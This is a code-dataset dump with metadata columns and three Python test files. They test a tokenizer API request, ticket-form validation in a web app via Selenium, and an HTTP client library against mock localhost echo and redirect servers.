hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
30adc1791802907b0b64760d3612835d8e4084ab
493
py
Python
tests/basic.py
cadia-lvl/TokenizerAPI
967ce77cbf8d266f2efa2aff7607e2196257267f
[ "MIT" ]
null
null
null
tests/basic.py
cadia-lvl/TokenizerAPI
967ce77cbf8d266f2efa2aff7607e2196257267f
[ "MIT" ]
null
null
null
tests/basic.py
cadia-lvl/TokenizerAPI
967ce77cbf8d266f2efa2aff7607e2196257267f
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import requests r = requests.post("http://0.0.0.0:8080/tokenize/impl", params={'text':'3.janúar sl. keypti ég 64kWst rafbíl. Hann kostaði € 30.000'}) print(r.text) assert r.text == '{"response":{"type":"texts","content":[["3.","janúar","sl.","keypti","ég","64kWst","rafbíl","."],["Hann","kostaði","€30.000"]]}}' r = requests.post("http://0.0.0.0:8080/tokenize/impl", params={'text':''}) print(r.text) assert r.text == '{"response":{"type":"texts","content":[]}}'
37.923077
147
0.604462
75
493
4
0.426667
0.04
0.04
0.113333
0.92
0.92
0.92
0.92
0.92
0.92
0
0.072848
0.081136
493
12
148
41.083333
0.584989
0.042596
0
0.285714
0
0.142857
0.648936
0.361702
0
0
0
0
0.285714
1
0
false
0
0.142857
0
0.142857
0.285714
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
30fe08edc6974dd859739a00a9121d2e1bcffcd2
10,678
py
Python
qa327_test/frontend/test_update.py
llim1/SeetGeek-CMPE327
6d49b9c6bd9e67dd747584a7b2109d69ae4c6c96
[ "MIT" ]
null
null
null
qa327_test/frontend/test_update.py
llim1/SeetGeek-CMPE327
6d49b9c6bd9e67dd747584a7b2109d69ae4c6c96
[ "MIT" ]
null
null
null
qa327_test/frontend/test_update.py
llim1/SeetGeek-CMPE327
6d49b9c6bd9e67dd747584a7b2109d69ae4c6c96
[ "MIT" ]
1
2021-01-02T16:36:17.000Z
2021-01-02T16:36:17.000Z
import pytest from seleniumbase import BaseCase from qa327_test.conftest import base_url from unittest.mock import patch from qa327.models import db, User, Ticket from werkzeug.security import generate_password_hash, check_password_hash test_user = User( email='testing@test.com', name='Test', password=generate_password_hash('Testing!'), balance=5000 ) test_ticket = Ticket( name='test ticket yo', quantity='10', price='10', expiration_date=20201201 ) invalid_ticket_name1 = Ticket( name='@testTicket', quantity='10', price='10', expiration_date=20201201 ) invalid_ticket_name2 = Ticket( name=' testTicket', quantity='10', price='10', expiration_date=20201201 ) invalid_ticket_name3 = Ticket( name='testTicket ', quantity='10', price='10', expiration_date=20201201 ) invalid_ticket_name4 = Ticket( name='testTicketxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', quantity='10', price='10', expiration_date=20201101 ) invalid_ticket_quantity1 = Ticket( name='testTicket', quantity='0', price='10', expiration_date=20201101 ) invalid_ticket_quantity2 = Ticket( name='testTicket', quantity='101', price='10', expiration_date=20201101 ) # Test case R5.1 - The name of the ticket has to be alphanumeric-only, and space # allowed only if it is not the first or last character class TestCase5_1(BaseCase): # Test Case R5.1.1 - Non-alphanumeric @patch('qa327.backend.get_user', return_value=test_user) def testcase5_1_1(self, *_): self.open(base_url + '/logout') self.open(base_url + '/login') self.type("#email","testing@test.com") self.type("#password","Testing!") self.click('input[type="submit"]') self.get_element('#update_form').click() self.type("#uname","@testTicket") self.type("#uquantity","10") self.type("#uprice","10") self.type("#uexpiration_date","20201201") self.get_element('#usubmit').click() self.assert_text("Ticket Name must be alphanumeric") # Test Case R5.1.2 - First character is a space @patch('qa327.backend.get_user', return_value=test_user) def testcase5_1_2(self, *_): self.open(base_url + '/logout') self.open(base_url + '/login') self.type("#email","testing@test.com") self.type("#password","Testing!") self.click('input[type="submit"]') self.get_element('#update_form').click() self.type("#uname"," testTicket") self.type("#uquantity","10") self.type("#uprice","10") self.type("#uexpiration_date","20201201") self.get_element('#usubmit').click() self.assert_text("Ticket Name must not include a space at the beginning") # Test Case R5.1.3 - Last character is a space @patch('qa327.backend.get_user', return_value=test_user) def testcase5_1_3(self, *_): self.open(base_url + '/logout') self.open(base_url + '/login') self.type("#email","testing@test.com") self.type("#password","Testing!") self.click('input[type="submit"]') self.get_element('#update_form').click() self.type("#uname","testTicket ") self.type("#uquantity","10") self.type("#uprice","10") self.type("#uexpiration_date","20201201") self.get_element('#usubmit').click() self.assert_text("Ticket Name must not include a space at the end") # Test case R5.2 - The name of the ticket is no longer than 60 characters class TestCase5_2(BaseCase): @patch('qa327.backend.get_user', return_value=test_user) def testcase5_2(self, *_): self.open(base_url + '/logout') self.open(base_url + '/login') self.type("#email","testing@test.com") self.type("#password","Testing!") self.click('input[type="submit"]') self.get_element('#update_form').click() self.type("#uname","testTicketxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx") self.type("#uquantity","10") self.type("#uprice","10") self.type("#uexpiration_date","20201201") self.get_element('#usubmit').click() self.assert_text("The name of the ticket must be no longer than 60 characters") # Test case R5.3 - The quantity of the tickets has to be more than 0, and less than or equal to 100 class TestCase5_3(BaseCase): # Test Case R5.3.1 - 0 quantity @patch('qa327.backend.get_user', return_value=test_user) def testcase5_3_1(self, *_): self.open(base_url + '/logout') self.open(base_url + '/login') self.type("#email","testing@test.com") self.type("#password","Testing!") self.click('input[type="submit"]') self.get_element('#update_form').click() self.type("#uname","testTicket") self.type("#uquantity","0") self.type("#uprice","10") self.type("#uexpiration_date","20201201") self.get_element('#usubmit').click() self.assert_text("The quantity of the tickets has to be more than 0, and less than or equal to 100.") # Test Case R5.3.2 - 101 quantity @patch('qa327.backend.get_user', return_value=test_user) def testcase5_3_2(self, *_): self.open(base_url + '/logout') self.open(base_url + '/login') self.type("#email","testing@test.com") self.type("#password","Testing!") self.click('input[type="submit"]') self.get_element('#update_form').click() self.type("#uname","testTicket") self.type("#uquantity","101") self.type("#uprice","10") self.type("#uexpiration_date","20201201") self.get_element('#usubmit').click() self.assert_text("The quantity of the tickets has to be more than 0, and less than or equal to 100.") class TestCase5_4(BaseCase): # Test Case R5.4.1 - Below 10 price @patch('qa327.backend.get_user', return_value=test_user) def testcase5_4_1(self, *_): self.open(base_url + '/logout') self.open(base_url + '/login') self.type("#email","testing@test.com") self.type("#password","Testing!") self.click('input[type="submit"]') self.get_element('#update_form').click() self.type("#uname","testTicket") self.type("#uquantity","10") self.type("#uprice","9") self.type("#uexpiration_date","20201201") self.get_element('#usubmit').click() self.assert_text("Ticket Price cannot be less than 10") # Test Case R5.4.2 - Above 100 price @patch('qa327.backend.get_user', return_value=test_user) def testcase5_4_2(self, *_): self.open(base_url + '/logout') self.open(base_url + '/login') self.type("#email","testing@test.com") self.type("#password","Testing!") self.click('input[type="submit"]') self.get_element('#update_form').click() self.type("#uname","testTicket") self.type("#uquantity","10") self.type("#uprice","101") self.type("#uexpiration_date","20201201") self.get_element('#usubmit').click() self.assert_text("Ticket Price cannot be more than 100") class TestCase5_5(BaseCase): # Test Case R5.5.1 - Below 10 price @patch('qa327.backend.get_user', return_value=test_user) def testcase5_5_1(self, *_): self.open(base_url + '/logout') self.open(base_url + '/login') self.type("#email","testing@test.com") self.type("#password","Testing!") self.click('input[type="submit"]') self.get_element('#update_form').click() self.type("#uname","testTicket") self.type("#uquantity","10") self.type("#uprice","10") self.type("#uexpiration_date","20/11/01") self.get_element('#usubmit').click() self.assert_text("Ticket Date must not include non-numeric characters") @patch('qa327.backend.get_user', return_value=test_user) def testcase5_5_2(self, *_): self.open(base_url + '/logout') self.open(base_url + '/login') self.type("#email","testing@test.com") self.type("#password","Testing!") self.click('input[type="submit"]') self.get_element('#update_form').click() self.type("#uname","testTicket") self.type("#uquantity","10") self.type("#uprice","10") self.type("#uexpiration_date","2020111") self.get_element('#usubmit').click() self.assert_text("Ticket Date must be 8 characters long") class TestCase5_6(BaseCase): @patch('qa327.backend.get_user', return_value=test_user) def testcase5_6_1(self, *_): self.open(base_url + '/logout') self.open(base_url + '/login') self.type("#email", "testing@test.com") self.type("#password", "Testing!") self.click('input[type="submit"]') self.get_element('#update_form').click() self.type("#uname","test ticket") self.type("#uquantity","10") self.type("#uprice","20") self.type("#uexpiration_date","20201231") self.get_element('#usubmit').click() self.assert_text("Ticket Name: test ticket") self.assert_text("Ticket Quantity: 10") self.assert_text("Ticket Price: 20") self.assert_text("Ticket Expiration Date: 20201231") @patch('qa327.backend.get_user', return_value=test_user) def testcase5_6_2(self, *_): self.open(base_url + '/logout') self.open(base_url + '/login') self.type("#email", "testing@test.com") self.type("#password", "Testing!") self.click('input[type="submit"]') self.get_element('#update_form').click() self.type("#uname","nonexistent ticket") self.type("#uquantity","10") self.type("#uprice","10") self.type("#uexpiration_date","20201201") self.get_element('#usubmit').click() self.assert_text("Ticket name not found") class TestCase5_7(BaseCase): @patch('qa327.backend.get_user', return_value=test_user) def testcase5_7(self, *_): self.open(base_url + '/logout') self.open(base_url + '/login') self.type("#email","testing@test.com") self.type("#password","Testing!") self.click('input[type="submit"]') self.get_element('#update_form').click() self.type("#uname","@testTicket") self.type("#uquantity","10") self.type("#uprice","10") self.type("#uexpiration_date","20201201") self.get_element('#usubmit').click() self.assert_text("Here are all available tickets") self.assert_text("Ticket Name must be alphanumeric")
38.688406
109
0.627646
1,354
10,678
4.796898
0.099705
0.096074
0.048037
0.060046
0.820015
0.796459
0.794919
0.781986
0.766436
0.75843
0
0.04931
0.206125
10,678
276
110
38.688406
0.716881
0.055816
0
0.696356
0
0
0.319861
0.040516
0
0
0
0
0.068826
1
0.052632
false
0.060729
0.024292
0
0.105263
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
7
a5167b87e97924e1dc1642d1206afa8094985c22
97,189
py
Python
tests/core/http/test_clienting.py
pfeairheller/hio
44669adb62c81357491f9f6157312bc1313b56cf
[ "Apache-2.0" ]
1
2021-04-07T19:10:28.000Z
2021-04-07T19:10:28.000Z
tests/core/http/test_clienting.py
pfeairheller/hio
44669adb62c81357491f9f6157312bc1313b56cf
[ "Apache-2.0" ]
4
2021-03-30T20:50:19.000Z
2022-01-06T17:16:18.000Z
tests/core/http/test_clienting.py
pfeairheller/hio
44669adb62c81357491f9f6157312bc1313b56cf
[ "Apache-2.0" ]
3
2021-04-08T19:35:36.000Z
2021-06-03T13:39:05.000Z
# -*- coding: utf-8 -*- """ Unittests for http clienting module """ import sys import os import time from urllib.parse import urlsplit, quote_plus, unquote import pytest from hio import help from hio.help import helping from hio.help import Hict from hio.base import tyming from hio.core import wiring, tcp, http from hio.core.http import clienting logger = help.ogler.getLogger() tlsdirpath = os.path.dirname( os.path.dirname( os.path.abspath( sys.modules.get(__name__).__file__))) certdirpath = os.path.join(tlsdirpath, 'tls', 'certs') def mockEchoService(server): """ mock echo server service for testing """ mockMsg = (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') mockMsgLocalhost = (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: localhost:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') server.serviceConnects() if server.ixes: server.serviceReceivesAllIx() ixClient = list(server.ixes.values())[0] msgIn = bytes(ixClient.rxbs) if msgIn in (mockMsg, mockMsgLocalhost): ixClient.clearRxbs() msgOut = (b'HTTP/1.1 200 OK\r\n' b'Content-Length: 122\r\n' b'Content-Type: application/json\r\n' b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n' b'Server: IoBook.local\r\n\r\n' b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", ' b'"url": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}') ixClient.tx(msgOut) msgIn = b'' msgOut = b'' server.serviceSendsAllIx() def mockEchoServiceJson(server): """ mock echo server service with json data request body utility function """ mockMsg = (b'PUT /echo?name=fame HTTP/1.1\r\n' b'Host: localhost:6101\r\n' b'Accept-Encoding: identity\r\n' b'Content-Length: 31\r\n' b'Accept: application/json\r\n' b'Content-Type: application/json; charset=utf-8\r\n\r\n' b'{"first":"John","last":"Smith"}') server.serviceConnects() if server.ixes: server.serviceReceivesAllIx() ixClient = list(server.ixes.values())[0] msgIn = bytes(ixClient.rxbs) if msgIn == mockMsg: ixClient.clearRxbs() msgOut = (b'HTTP/1.1 200 OK\r\n' b'Content-Length: 122\r\n' b'Content-Type: application/json\r\n' b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n' b'Server: IoBook.local\r\n\r\n' b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", ' b'"url": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}') ixClient.tx(msgOut) msgIn = b'' msgOut = b'' server.serviceSendsAllIx() def mockRedirectPathService(server): """ mock echo server service utility function """ mockMsg = (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') mockRedirectMsg = (b'GET /redirect?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') server.serviceConnects() if server.ixes: server.serviceReceivesAllIx() ixClient = list(server.ixes.values())[0] msgIn = bytes(ixClient.rxbs) if msgIn == mockMsg: ixClient.clearRxbs() msgOut = (b'HTTP/1.1 307 Temporary Redirect\r\n' b'Content-Type: text/plain\r\n' b'Content-Length: 0\r\n' b'Access-Control-Allow-Origin: *\r\n' b'Location: http://localhost:6101/redirect?name=fame\r\n\r\n') ixClient.tx(msgOut) msgIn = b'' msgOut = b'' elif msgIn== mockRedirectMsg: ixClient.clearRxbs() msgOut = (b'HTTP/1.1 200 OK\r\n' b'Content-Length: 122\r\n' b'Content-Type: application/json\r\n' b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n' b'Server: IoBook.local\r\n\r\n' b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", ' b'"url": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}') ixClient.tx(msgOut) msgIn = b'' msgOut = b'' server.serviceSendsAllIx() def mockRedirectingService(server): """ mock redirecting echo server service utility function """ mockMsg = (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') mockMsgLocalhost = (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: localhost:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') server.serviceConnects() if server.ixes: server.serviceReceivesAllIx() ixClient = list(server.ixes.values())[0] msgIn = bytes(ixClient.rxbs) if msgIn in (mockMsg, mockMsgLocalhost): ixClient.clearRxbs() msgOut = (b'HTTP/1.1 307 Temporary Redirect\r\n' b'Content-Type: text/plain\r\n' b'Content-Length: 0\r\n' b'Access-Control-Allow-Origin: *\r\n' b'Location: http://localhost:6103/redirect?name=fame\r\n\r\n') ixClient.tx(msgOut) msgIn = b'' msgOut = b'' server.serviceSendsAllIx() def mockRedirectedService(server): """ mock redirected echo server service utility function """ mockMsg = (b'GET /redirect?name=fame HTTP/1.1\r\n' b'Host: localhost:6103\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') server.serviceConnects() if server.ixes: server.serviceReceivesAllIx() ixClient = list(server.ixes.values())[0] msgIn = bytes(ixClient.rxbs) if msgIn == mockMsg: ixClient.clearRxbs() msgOut = (b'HTTP/1.1 200 OK\r\n' b'Content-Length: 122\r\n' b'Content-Type: application/json\r\n' b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n' b'Server: IoBook.local\r\n\r\n' b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", ' b'"url": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}') ixClient.tx(msgOut) msgIn = b'' msgOut = b'' server.serviceSendsAllIx() def mockRedirectingServiceTls(server): """ mock redirecting echo server service utility function with redirected location is https tls """ mockMsg = (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: localhost:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') server.serviceConnects() if server.ixes: server.serviceReceivesAllIx() ixClient = list(server.ixes.values())[0] msgIn = bytes(ixClient.rxbs) if msgIn in (mockMsg,): ixClient.clearRxbs() # redirect location is https msgOut = (b'HTTP/1.1 307 Temporary Redirect\r\n' b'Content-Type: text/plain\r\n' b'Content-Length: 0\r\n' b'Access-Control-Allow-Origin: *\r\n' b'Location: https://localhost:6103/redirect?name=fame\r\n\r\n') ixClient.tx(msgOut) msgIn = b'' msgOut = b'' server.serviceSendsAllIx() def test_client_request_echo(): """ Test HTTP Client request echo non blocking """ with tcp.openServer(port = 6101, bufsize=131072) as alpha: assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) host = alpha.eha[0] port = alpha.eha[1] method = u'GET' path = u'/echo?name=fame' headers = dict([('Accept', 'application/json')]) with http.openClient(bufsize=131072, hostname=host, port=port, \ method=method, path=path, headers=headers,) as beta: assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff # connect Client Beta to Server Alpha while True: beta.connector.serviceConnect() alpha.serviceConnects() if beta.connector.connected and beta.connector.ca in alpha.ixes: break time.sleep(0.05) assert beta.connector.accepted assert beta.connector.connected assert not beta.connector.cutoff assert beta.connector.ca == beta.connector.cs.getsockname() assert beta.connector.ha == beta.connector.cs.getpeername() assert alpha.eha == beta.connector.ha ixBeta = alpha.ixes[beta.connector.ca] assert ixBeta.ca is not None assert ixBeta.cs is not None assert ixBeta.cs.getsockname() == beta.connector.cs.getpeername() assert ixBeta.cs.getpeername() == beta.connector.cs.getsockname() assert ixBeta.ca == beta.connector.ca assert ixBeta.ha, beta.connector.ha # build request msgOut = beta.requester.rebuild() assert beta.requester.lines == [ b'GET /echo?name=fame HTTP/1.1', b'Host: 127.0.0.1:6101', b'Accept-Encoding: identity', b'Accept: application/json', b'', b'', ] assert beta.requester.head == (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\nAccept-Encoding: ' b'identity\r\nAccept: application/json\r\n\r\n') assert msgOut == (b'GET /echo?name=fame HTTP/1.1\r\nHost: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\nAccept: application/json\r\n\r\n') beta.connector.tx(msgOut) while beta.connector.txbs and not ixBeta.rxbs : beta.connector.serviceSends() time.sleep(0.05) alpha.serviceReceivesAllIx() time.sleep(0.05) msgIn = bytes(ixBeta.rxbs) assert msgIn == msgOut ixBeta.clearRxbs() # build resonse msgOut = (b'HTTP/1.1 200 OK\r\n' b'Content-Length: 122\r\n' b'Content-Type: application/json\r\n' b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n' b'Server: IoBook.local\r\n\r\n' b'{"content": null, "query": {"name": "fame"}, "verb": "GET", ' b'"url": "http://127.0.0.1:8080/echo?name=fame", "action": null}') ixBeta.tx(msgOut) while ixBeta.txbs or not beta.connector.rxbs: alpha.serviceSendsAllIx() time.sleep(0.05) beta.connector.serviceReceives() time.sleep(0.05) msgIn = bytes(beta.connector.rxbs) assert msgIn == msgOut while beta.respondent.parser: beta.respondent.parse() assert not beta.connector.rxbs assert list(beta.respondent.headers.items()) == [('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')] beta.respondent.dictify() # convert JSON data in body assert beta.respondent.body == (b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", "url' b'": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}') assert beta.respondent.data == {'action': None, 'content': None, 'query': {'name': 'fame'}, 'url': 'http://127.0.0.1:8080/echo?name=fame', 'verb': 'GET'} def test_client_service_echo(): """ Test Client service echo nonblocking """ alpha = tcp.Server(port = 6101, bufsize=131072) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) host = alpha.eha[0] port = alpha.eha[1] method = u'GET' path = u'/echo?name=fame' headers = dict([('Accept', 'application/json')]) beta = clienting.Client(bufsize=131072, hostname=host, port=port, method=method, path=path, headers=headers, ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff # connect Client Beta to Server Alpha while True: beta.connector.serviceConnect() alpha.serviceConnects() if beta.connector.connected and beta.connector.ca in alpha.ixes: break time.sleep(0.05) assert beta.connector.accepted assert beta.connector.connected assert not beta.connector.cutoff assert beta.connector.ca == beta.connector.cs.getsockname() assert beta.connector.ha == beta.connector.cs.getpeername() assert alpha.eha == beta.connector.ha ixBeta = alpha.ixes[beta.connector.ca] assert ixBeta.ca is not None assert ixBeta.cs is not None assert ixBeta.cs.getsockname() == beta.connector.cs.getpeername() assert ixBeta.cs.getpeername() == beta.connector.cs.getsockname() assert ixBeta.ca == beta.connector.ca assert ixBeta.ha, beta.connector.ha # build request as result of transmit beta.transmit() assert beta.requester.lines == [ b'GET /echo?name=fame HTTP/1.1', b'Host: 127.0.0.1:6101', b'Accept-Encoding: identity', b'Accept: application/json', b'', b'', ] assert beta.requester.head == (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') msgOut = bytes(beta.connector.txbs) # make copy assert msgOut == (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') while beta.connector.txbs and not ixBeta.rxbs : beta.service() time.sleep(0.05) alpha.serviceReceivesAllIx() time.sleep(0.05) msgIn = bytes(ixBeta.rxbs) assert msgIn == msgOut ixBeta.clearRxbs() # build response msgOut = (b'HTTP/1.1 200 OK\r\n' b'Content-Length: 122\r\n' b'Content-Type: application/json\r\n' b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n' b'Server: IoBook.local\r\n\r\n' b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", ' b'"url": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}') ixBeta.tx(msgOut) while ixBeta.txbs or not beta.respondent.ended: alpha.serviceSendsAllIx() time.sleep(0.05) beta.service() time.sleep(0.05) assert not beta.connector.rxbs assert not beta.waited assert beta.respondent.ended assert len(beta.responses) == 1 assert list(beta.respondent.headers.items()) == [('Content-Length', '122'), ('Content-Type', 'application/json'), ('Date', 'Thu, 30 Apr 2015 19:37:17 GMT'), ('Server', 'IoBook.local')] assert beta.respondent.body == (b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", "url' b'": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": null}') assert beta.respondent.data == {'action': None, 'content': None, 'query': {'name': 'fame'}, 'url': 'http://127.0.0.1:8080/echo?name=fame', 'verb': 'GET'} alpha.close() beta.close() def test_client_pipeline_echo(): """ Test Client pipeline servicing """ alpha = tcp.Server(port = 6101, bufsize=131072) assert alpha.reopen() assert alpha.ha == ('0.0.0.0', 6101) assert alpha.eha == ('127.0.0.1', 6101) host = alpha.eha[0] port = alpha.eha[1] method = u'GET' path = u'/echo?name=fame' headers = dict([('Accept', 'application/json')]) beta = clienting.Client(bufsize=131072, hostname=host, port=port, method=method, path=path, headers=headers, ) assert beta.reopen() assert not beta.connector.accepted assert not beta.connector.connected assert not beta.connector.cutoff # connect Client Beta to Server Alpha while True: beta.connector.serviceConnect() alpha.serviceConnects() if beta.connector.connected and beta.connector.ca in alpha.ixes: break time.sleep(0.05) assert beta.connector.accepted assert beta.connector.connected assert not beta.connector.cutoff assert beta.connector.ca == beta.connector.cs.getsockname() assert beta.connector.ha == beta.connector.cs.getpeername() assert alpha.eha == beta.connector.ha ixBeta = alpha.ixes[beta.connector.ca] assert ixBeta.ca is not None assert ixBeta.cs is not None assert ixBeta.cs.getsockname() == beta.connector.cs.getpeername() assert ixBeta.cs.getpeername() == beta.connector.cs.getsockname() assert ixBeta.ca == beta.connector.ca assert ixBeta.ha, beta.connector.ha request = dict([('method', u'GET'), ('path', u'/echo?name=fame'), ('qargs', dict()), ('fragment', u''), ('headers', dict([('Accept', 'application/json')])), ('body', None), ]) beta.requests.append(request) while (beta.requests or beta.connector.txbs) and not ixBeta.rxbs : beta.service() time.sleep(0.05) alpha.serviceReceivesAllIx() time.sleep(0.05) msgIn = bytes(ixBeta.rxbs) assert msgIn == (b'GET /echo?name=fame HTTP/1.1\r\n' b'Host: 127.0.0.1:6101\r\n' b'Accept-Encoding: identity\r\n' b'Accept: application/json\r\n\r\n') ixBeta.clearRxbs() # ensure no stale stuff in beta rx buffer at Alpha # build response msgOut = (b'HTTP/1.1 200 OK\r\n' b'Content-Length: 122\r\n' b'Content-Type: application/json\r\n' b'Date: Thu, 30 Apr 2015 19:37:17 GMT\r\n' b'Server: IoBook.local\r\n\r\n' b'{"content": null, ' b'"query": {"name": "fame"}, ' b'"verb": "GET", ' b'"url": "http://127.0.0.1:8080/echo?name=fame", ' b'"action": 